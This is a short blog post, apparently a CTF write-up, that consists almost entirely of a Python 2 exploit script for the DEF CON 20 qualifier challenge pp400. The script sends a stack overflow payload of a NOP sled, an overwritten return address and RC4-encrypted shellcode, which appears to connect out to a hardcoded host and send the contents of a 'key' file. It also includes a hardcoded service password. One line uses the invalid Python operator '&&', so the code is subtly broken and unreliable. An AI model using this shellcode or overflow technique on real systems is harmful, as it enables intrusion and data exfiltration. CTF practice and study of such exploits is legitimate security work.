CTF

defcon20 pp400 exploit

badcob 2012. 6. 16. 14:14

http://blog.oxff.net/posts/DefCon%2020%20CTF%20Qualifications%3A%20pp400-anvszwpmjdyizhsqgngq.html 참조.



#!/usr/bin/python2.6
#defcon 2012, pp400 exploit - badcob

import socket,sys
import struct
import time

def rc4_initialize(key,x,y):
    tmp = range(255,-1,-1)
    for i in range(0, 256):
        y = (y + tmp[x] +(ord(key[x & 0xf]))) & 0xff
        tmp[x],tmp[y] = tmp[y], tmp[x]
        
    return tmp

def rc4_pop_key(tmp, x, y):
    x = (x+1) & 0xff
    y = (y+tmp[x]) & 0xff
    tmp[x], tmp[y] = tmp[y], tmp[x]
    return tmp[(tmp[x]+tmp[y]) && 0xff], x, y

#shellcode 
sc = "\x83\xC4\x70\x6A\x61\x58\x99\x52\x6A\x01\x6A\x02\x50\xCD\x80\x96\x6A\x62\x58\x68\xD2\x00\x3C\xEB\x68\xAA\x02\x27\x0F"
sc += "\x89\xE3\x6A\x10\x53\x56\x50\xCD\x80\x6A\x05\x58\x52\x68\x2F\x6B\x65\x79\x68\x2E\x2F\x2F\x2F"
sc += "\x89\xE3\x52\x53\x50\xCD\x80\x97\x6A\x03\x58\x6A\x40\x53\x57\x50\xCD\x80\x50\x6A\x04\x58\x53\x56\x50\xCD\x80"

#stack address to overwrite
stack_address = 0xbfbfe9fc

#make payload
payload = []
sc += '\x90'
print len(sc)

while sc != '':
    payload.append(struct.unpack('<I', sc[:4])[0])
    sc = sc[4:]

#nop sled + shellcode
#0x42 : inc edx
payload = [0x90909090 for i in range(0,128-len(payload))] + payload
payload += [0x42424242 for i in range(0,248-128)]  
payload += [0xbfbfe9fc]

total_count = len(payload)
current_count = 0

#rc4 initialize
global tmp, x, y
x = 0
y = 0
key = '\xb6\x3d\x15\x3a\x04\x15\x69\x72\x45\xfe\xc2\x7f\x12\x78\xd7\x82'
tmp = rc4_initialize(key,x,y)
print tmp
print len(tmp)

#host, port 
host = '192.168.74.134'
port = 4016

def init(host,port):
    b = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    b.connect((host,port))  
    return b

s = init(host,port)

passwd = 'b366e2776ce9efff'+'\x0a'
s.send(passwd)
print s.recv(256)
sys.stdout.flush()

for i in payload:
    print current_count, hex(i)
    data_list = []
    data = str(struct.unpack('<f', struct.pack('<I', i))[0])
    data = data[::-1]
    for j in data:
        value, x, y = rc4_pop_key(tmp, x, y)
        data_list.append(chr(ord(j) ^ value))
    data_list.reverse()
    data = ''.join(data_list)
    print data.encode('hex')
    try:
        s.send(data.encode('hex')+'\x0a')
    except:
        print 'float error:', i, hex(i), '[+]' + data.encode('hex') + '[+]'
        break
    current_count += 1